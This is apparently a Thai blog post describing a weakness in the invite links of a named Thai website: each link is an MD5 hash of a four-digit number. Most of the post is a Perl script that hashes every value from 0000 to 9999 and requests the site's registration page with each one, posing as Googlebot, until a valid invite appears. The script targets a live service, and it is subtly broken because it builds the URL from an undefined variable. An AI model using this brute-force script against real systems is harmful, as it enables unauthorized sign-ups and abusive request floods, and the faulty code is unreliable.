มันแค่ช่องโหว่ เล็กๆน้อยๆ ของ เลขที่ใช้ invite
หลักก็คือ invite มันดันเป็น hash ที่ ใช้ md5 เข้ารหัสของตัวเลข แค่ 4 หลัก
(md5 คือการเข้ารหัสอย่างหนึ่ง ที่มักใช้กัน[ยิ่งแกะยากถ้า ใช้หลายๆหลัก])
ยกตัวอย่าง link invite ของ sb คือ
http://sb.in.th/register.php?invitenumber=[hash]
เช่น link นี้
http://sb.in.th/register.php?invitenumber=ce5140df15d046a66883807d18d0264b(ce5140df15d046a66883807d18d0264b hash นี้ เข้ารหัสมาจากเลข 1023)
ดังนั้น ขอเดาเลยว่า เลขมันต้องเป็น 0000 ถึง 9999 (1 หมื่น ตัว)
ถ้า นั่งมั่วมือ มันก็จะถึกไปหน่อย ดังนั้นเขียนเป็น perl ยิงไล่ เลยดีกว่า ง่ายดี
คำถาม คือ
Q: ทำให้ ให้เปิดเวป ได้ เพราะเราต้องเปิดหน้าเวป
http://sb.in.th/register.php?invitenumber=A: ใช้ LWP::UserAgent หรือเขียนโดยใช้ IO::Socket (หากลง Activeperl มันจะมีอยู่แล้ว แต่ LWP สะดวกกว่าเยอะ)
Q: ทำไงจะเข้ารหัสเลข 0000 - 9999 เป็น MD5 ได้
A: มัน จะมี Packet สำเร็จรูป ชื่อ Digest::MD5 อยู่ (ต้องลงเพิ่ม หาเอาได้จาก Perl package manager)
เอาล่ะ เริ่มกันดีกว่า
use LWP::UserAgent; #เรียกใช้ LWP::UserAgent;
use Digest::MD5("md5_hex");# เรียกใช้ Digest::MD5 เฉพาะ sub md5_hex จะประกาศห้วนๆ use Digest::MD5; ก็ ได้เหมือนกัน
# เรียกใช้ packet สำเร็จรูปเสร็จทีนี้มาเริ่ม จาก ประกาศ browser ที่ใช้ ว่าใช้อะไรเปิดเวปกันก่อนแล้วกัน
my $browser = LWP::UserAgent->new(agent => 'Googlebot (Googlebot/2.1 +<a href="http://www.googlebot.com/bot.html">http://www.googlebot.com/bot.html</a>)');
# หลอกว่า ตูคือ google บอท (แต่จริงๆหลอกไม่ได้หรอก มันเป็นแค่เอาไว้บอกว่า ใช้ agent อะไรเข้าเวป )
# จะไม่ใส่ หรือ จะใส่ เหมือนคนจริงๆ เช่น Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1) ไปก็ได้ )
# กรณีไม่ประกาศใช้ จะใส่แค่นี้ก็ได้ (ถ้าไม่ใส่ ใน log จะขึ้น ว่า ใช้ libwww-perl เข้าไป)
# my $browser = LWP::UserAgent->new();
# นอกจาก agent แล้ว ยังมีให้ใช้อีกเยอะ (google ใส่ไปว่า perl lwp::agent แล้วอ่านเอา)
# ปล. ใช้อะไรก็ได้ ไม่ จำเป็นต้อง $browser นะ ( src ฝรั่งมักใช้ $ua )
my $target = 'http://sb.in.th/register.php?invitenumber='; # $target = ส่วน link ของเวปเป้าหมายที่เราจะ ถึก
foreach $i ( "0000" .. "9999" ){ # เขียน loop เพิ่มเริ่่มความถึก (ไล่เลข ตั้งแต่ 0000 ไปเรื่อยๆ จน 9999)
my $hash = md5_hex($i); # แปลง เลขที่ได้ ไปเป็น md5 (ตอนนี้ค่า $hash ของเรา จะเป็น md5 ล่ะ)
my $url = $url.$hash; #รวมมันไว้ด้วยกัน จะได้ ง่าย ตอน สั่งแสดงผล (จะไม่รวมก็ได้)
my $response = $browser->get($url); # เริ่มการ เรียกหน้าเวปขึ้นมา
if($response->is_success){ #ถ้าเปิดได้ ให้ทำตามเงื่อนไข ใน if
my $x = $response->content;
if($x =~ m!ยินดีต้อนรับ!){ # ถ้า hash ตรง จะมี คำว่ายินดีต้อนรับ ในหน้าเวป (ตรงนี้อ่าน regex เพิ่มเอา ไม่งั้นสอนกันยาว - -)
print "[+] Found hash !!\n";
print "[+] URL = $url\n";
}
}else{
print "Connection error.\n";
}
}
สรุปว่า เขียนราวๆ เนี้ย อ่ะ (จบแบบขี้เกียจพิมพ์ 555+)
ใครอยากให้มันเขียน file เก็บไว้ เป็น txt ก็ใช้ funtion OPEN เอาแล้วกัน
No comments:
Post a Comment